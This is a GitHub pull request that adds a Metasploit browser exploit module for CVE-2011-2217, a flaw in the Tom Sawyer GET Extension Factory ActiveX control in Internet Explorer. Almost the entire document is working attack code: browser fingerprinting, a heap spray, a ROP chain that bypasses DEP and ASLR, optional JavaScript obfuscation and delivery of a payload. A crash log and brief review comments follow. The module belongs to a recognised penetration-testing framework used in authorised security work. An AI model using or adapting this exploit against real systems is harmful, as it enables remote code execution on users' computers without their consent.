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Added module for CVE-2011-2217 #461
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274 changes: 274 additions & 0 deletions
274
modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb
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## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
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require 'msf/core' | ||
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class Metasploit3 < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
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include Msf::Exploit::Remote::HttpServer::HTML | ||
include Msf::Exploit::Remote::BrowserAutopwn | ||
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autopwn_info({ | ||
:os_name => OperatingSystems::WINDOWS, | ||
:ua_name => HttpClients::IE, | ||
:ua_minver => "6.0", | ||
:ua_maxver => "8.0", | ||
:javascript => true, | ||
:rank => NormalRanking, | ||
:classid => "{658ED6E7-0DA1-4ADD-B2FB-095F08091118}" | ||
}) | ||
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def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => "Tom Sawyer Software GET Extension Factory Remote Code Execution", | ||
'Description' => %q{ | ||
This module exploits a remote code execution vulnerability in the tsgetx71ex553.dll | ||
ActiveX control installed with Tom Sawyer GET Extension Factory due to an incorrect | ||
initialization under Internet Explorer. | ||
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While the Tom Sawyer GET Extension Factory is installed with some versions of VMware | ||
Infrastructure Client, this module has been tested only with the versions installed | ||
with Embarcadero Technologies ER/Studio XE2 / Embarcadero Studio Portal 1.6. The ActiveX | ||
control tested is tsgetx71ex553.dll, version 5.5.3.238. | ||
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This module achieves DEP and ASLR bypass using the well known msvcr71.dll rop chain. The | ||
dll is installed by default with the Embarcadero software, and loaded by the targeted | ||
ActiveX. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Elazar Broad', # Vulnerability discovery | ||
'rgod', # PoC | ||
'juan vazquez' # Metasploit module | ||
], | ||
'References' => | ||
[ | ||
[ 'CVE', '2011-2217' ], | ||
[ 'OSVDB', '73211' ], | ||
[ 'BID', '48099' ], | ||
[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=911' ] | ||
], | ||
'Payload' => | ||
{ | ||
'Space' => 1024, | ||
'BadChars' => "\x00", | ||
'DisableNops' => true | ||
}, | ||
'DefaultOptions' => | ||
{ | ||
'ExitFunction' => "process", | ||
'InitialAutoRunScript' => 'migrate -f' | ||
}, | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
# Embarcadero Technologies ER/Studio XE2 | ||
# tsgetx71ex553.dll 5.5.3.238 | ||
[ 'Automatic', {} ], | ||
[ 'IE 6 on Windows XP SP3', | ||
{ | ||
'Rop' => nil, | ||
'Offset' => '0x00' | ||
} | ||
], | ||
[ 'IE 7 on Windows XP SP3', | ||
{ | ||
'Rop' => nil, | ||
'Offset' => '0x800 - code.length' | ||
} | ||
], | ||
[ 'IE 8 on Windows XP SP3', | ||
{ | ||
'Rop' => true, | ||
'Offset' => '0x0', | ||
'RopChainOffset' => '0x73e' | ||
} | ||
], | ||
[ 'IE 8 on Windows 7 SP1', | ||
{ | ||
'Rop' => true, | ||
'Offset' => '0x0', | ||
'RopChainOffset' => '0x73e' | ||
} | ||
] | ||
], | ||
'Privileged' => false, | ||
'DisclosureDate' => "May 03 2011", | ||
'DefaultTarget' => 0)) | ||
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register_options( | ||
[ | ||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) | ||
], self.class) | ||
end | ||
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def get_target(agent) | ||
#If the user is already specified by the user, we'll just use that | ||
return target if target.name != 'Automatic' | ||
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ | ||
return targets[1] #IE 6 on Windows XP SP3 | ||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ | ||
return targets[2] #IE 7 on Windows XP SP3 | ||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ | ||
return targets[3] #IE 8 on Windows XP SP3 | ||
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ | ||
return targets[4] #IE 8 on Windows 7 SP1 | ||
else | ||
return nil | ||
end | ||
end | ||
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def junk(n=4) | ||
return rand_text_alpha(n).unpack("V").first | ||
end | ||
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def nop | ||
return make_nops(4).unpack("V").first | ||
end | ||
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def get_rop_chain(t) | ||
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adjust = | ||
[ | ||
junk, # heap sprayed to 342d1ea0 | ||
0x7c1ce310, # stackpivot # push ecx # pop esp # pop edi # pop esi # retn 18 # mfc71.DLL | ||
0x7c347f98, # RETN (ROP NOP) # msvcr71.dll | ||
junk, | ||
junk, | ||
junk, | ||
junk, | ||
junk, | ||
junk | ||
].pack("V*") | ||
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# chain generated by mona.py - See corelan.be | ||
rop = | ||
[ | ||
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN | ||
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) | ||
0x7c347f98, # RETN (ROP NOP) | ||
0x7c3415a2, # JMP [EAX] | ||
0xffffffff, | ||
0x7c376402, # skip 4 bytes | ||
0x7c351e05, # NEG EAX # RETN | ||
0x7c345255, # INC EBX # FPATAN # RETN | ||
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN | ||
0x7c344f87, # POP EDX # RETN | ||
0xffffffc0, # Value to negate, will become 0x00000040 | ||
0x7c351eb1, # NEG EDX # RETN | ||
0x7c34d201, # POP ECX # RETN | ||
0x7c38b001, # &Writable location | ||
0x7c347f97, # POP EAX # RETN | ||
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] | ||
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN | ||
0x7c345c30, # ptr to 'push esp # ret ' | ||
].pack("V*") | ||
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code = adjust | ||
code << rop | ||
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return code | ||
end | ||
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def on_request_uri(cli, request) | ||
agent = request.headers['User-Agent'] | ||
my_target = get_target(agent) | ||
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# Avoid the attack if the victim doesn't have the same setup we're targeting | ||
if my_target.nil? | ||
print_error("Browser not supported: #{agent.to_s}") | ||
send_not_found(cli) | ||
return | ||
end | ||
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print_status("Target set: #{my_target.name}") | ||
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p = payload.encoded | ||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) | ||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) | ||
js_90_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch)) | ||
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if my_target['Rop'].nil? | ||
js_shellcode = "var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);" | ||
else | ||
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) | ||
js_shellcode = <<-JS_ROP | ||
var rop_chain = unescape("#{js_rop}"); | ||
var nops_padding = nops.substring(0, 0x73e-code.length-offset.length); | ||
var shellcode = code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length); | ||
JS_ROP | ||
js_shellcode = js_shellcode.gsub(/^\t\t\t/, '') | ||
end | ||
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js = <<-JS | ||
var heap_obj = new heapLib.ie(0x20000); | ||
var code = unescape("#{js_code}"); | ||
var nops = unescape("#{js_nops}"); | ||
var nops_90 = unescape("#{js_90_nops}"); | ||
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while (nops.length < 0x80000) nops += nops; | ||
while (nops_90.length < 0x80000) nops_90 += nops_90; | ||
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var offset = nops.substring(0, #{my_target['Offset']}); | ||
#{js_shellcode} | ||
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while (shellcode.length < 0x40000) shellcode += shellcode; | ||
var block = shellcode.substring(0, (0x80000-6)/2); | ||
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heap_obj.gc(); | ||
for (var z=1; z < 0x685; z++) { | ||
heap_obj.alloc(block); | ||
} | ||
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JS | ||
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js = heaplib(js, {:noobfu => true}) | ||
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#obfuscate on demand | ||
if datastore['OBFUSCATE'] | ||
js = ::Rex::Exploitation::JSObfu.new(js) | ||
js.obfuscate | ||
end | ||
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html = <<-EOS | ||
<html> | ||
<head> | ||
<script> | ||
#{js} | ||
</script> | ||
</head> | ||
<body> | ||
<object classid="clsid:658ED6E7-0DA1-4ADD-B2FB-095F08091118"> | ||
</object> | ||
</body> | ||
</html> | ||
EOS | ||
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html = html.gsub(/^\t\t/, '') | ||
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print_status("Sending html") | ||
send_response(cli, html, {'Content-Type'=>'text/html'}) | ||
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end | ||
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end | ||
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=begin | ||
(b44.b48): Access violation - code c0000005 (first chance) | ||
First chance exceptions are reported before any exception handling. | ||
This exception may be expected and handled. | ||
eax=00000000 ebx=0013e27c ecx=342d1ea0 edx=00000000 esi=75c63d38 edi=80004002 | ||
eip=28d2954d esp=0013e230 ebp=0013e2d4 iopl=0 nv up ei pl nz ac pe nc | ||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216 | ||
tsgetx71ex553!Ordinal931+0x2dd: | ||
28d2954d ff5104 call dword ptr [ecx+4] ds:0023:342d1ea4=???????? | ||
=end |
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why not make_nops(4) ?
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I tried to avoid alignment problems, but you're right :) updating